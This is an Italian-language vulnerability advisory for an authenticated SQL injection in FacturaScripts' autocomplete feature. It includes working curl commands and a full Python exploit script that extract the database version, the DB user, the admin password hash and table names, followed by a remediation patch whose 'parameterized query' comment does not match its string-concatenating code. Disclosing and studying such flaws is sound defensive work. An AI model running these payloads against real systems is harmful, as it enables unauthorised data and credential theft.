
CVE-2026-25514 - FacturaScripts presenta un'iniezione SQL nelle azioni di autocompletamento.
| Campo | Dettagli |
|---|
| ID CVE | CVE-2026-25514 |
| Gravità | ALTA |
| Advisory | Visualizza Advisory |
| Scoperto da | Lukasz Rybak |
FacturaScripts contiene una vulnerabilità critica di SQL injection nella funzionalità di autocompletamento che consente ad attaccanti autenticati di estrarre dati sensibili dal database, incluse credenziali utente, impostazioni di configurazione e tutti i dati aziendali memorizzati. La vulnerabilità esiste nel metodo CodeModel::all() dove i parametri forniti dall'utente vengono concatenati direttamente nelle query SQL senza sanitizzazione o binding parametrizzato.
Molti controller in FacturaScripts, tra cui CopyModel, ListController e PanelController, implementano un'azione di autocompletamento che elabora l'input dell'utente tramite i metodi CodeModel::search() o CodeModel::all(). Questi metodi costruiscono query SQL concatenando direttamente parametri controllati dall'utente senza alcuna validazione o escaping.
File: /Core/Model/CodeModel.php
Metodo: all()
Righe: 108-109
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ......
// VULNERABLE CODE:
$sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
. 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
I seguenti parametri sono vulnerabili a SQL injection:
source → Mappa a $tableName - Iniezione del nome della tabellafieldcode → Mappa a $fieldCode - Iniezione del nome della colonnafieldtitle → Mappa a $fieldDescription - Iniezione del nome della colonna (vettore di attacco principale)/CopyModel con action=autocompletefieldtitlePoiché FacturaScripts utilizza MultiRequestProtection, è richiesto un multireqtoken valido per ogni richiesta POST.
1. Ottenere il token iniziale e il cookie di sessione:
FacturaScripts reindirizza / a /login, quindi usiamo -L per seguire i redirect e -c per salvare il cookie di sessione.
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN
2. Autenticarsi (Login): Usare il cookie salvato e il token per accedere.
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" \
-d "fsPassword=admin" \
-d "action=login" \
-d "multireqtoken=$TOKEN"
3. Estrarre la versione del database: Ottenere un token aggiornato per la richiesta successiva ed eseguire l'iniezione.
# Ottieni un token aggiornato
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Esegui SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=version()" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
4. Estrarre utente e nome del database:
# Ottieni un token aggiornato
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Esegui SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=concat(user(),' @ ',database())" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
5. Estrarre l'hash della password dell'amministratore:
# Ottieni un token aggiornato
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Esegui SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=password" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""
import requests
import re
import json
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
session = requests.Session()
def get_csrf_token(url):
"""Extract CSRF token from page"""
response = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
return match.group(1) if match else None
def login():
"""Authenticate to FacturaScripts"""
print(f"[*] Logging in as {USERNAME}...")
token = get_csrf_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get CSRF token")
exit()
data = {
"multireqtoken": token,
"action": "login",
"fsNick": USERNAME,
"fsPassword": PASSWORD
}
response = session.post(f"{BASE_URL}/login", data=data)
if "Dashboard" not in response.text:
print("[!] Login failed!")
exit()
print("[+] Successfully logged in.")
def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
"""Execute SQL injection through autocomplete"""
data = {
"action": "autocomplete",
"source": source,
"fieldcode": field_code,
"fieldtitle": field_payload,
"term": term
}
response = session.post(f"{BASE_URL}/CopyModel", data=data)
try:
return response.json()
except:
return None
def main():
login()
print("\n" + "="*60)
print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
print("="*60 + "\n")
# 1. Database version
print("[*] Extracting database version...")
res = exploit_sqli("version()")
if res:
print(f"[+] Database Version: {res[0]['value']}")
# 2. Current user and database
print("[*] Extracting DB user and database name...")
res = exploit_sqli("concat(user(),' @ ',database())")
if res:
print(f"[+] DB User @ Database: {res[0]['value']}")
# 3. Admin password hash
print("[*] Extracting admin password hash...")
res = exploit_sqli("password", term="admin")
if res:
print(f"[+] Admin Password Hash: {res[0]['value']}")
# 4. All table names
print("[*] Extracting table names...")
res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
if res:
print(f"[+] Tables: {res[0]['value']}")
print("\n[+] Exploitation complete!")
if __name__ == "__main__":
main()

Questa vulnerabilità di SQL injection ha un impatto CRITICO:
Opzione 1: Usare Prepared Statements
// File: Core/Model/CodeModel.php
// Method: all()
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ... validation code ...
// Validate and escape identifiers
$safeTableName = self::db()->escapeColumn($tableName);
$safeFieldCode = self::db()->escapeColumn($fieldCode);
$safeFieldDescription = self::db()->escapeColumn($fieldDescription);
// Use parameterized query
$sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
. 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
Scoperto da: Łukasz Rybak
Questa CVE è stata divulgata in modo responsabile seguendo le pratiche coordinate di divulgazione delle vulnerabilità. Le informazioni qui fornite sono esclusivamente a scopo educativo e difensivo.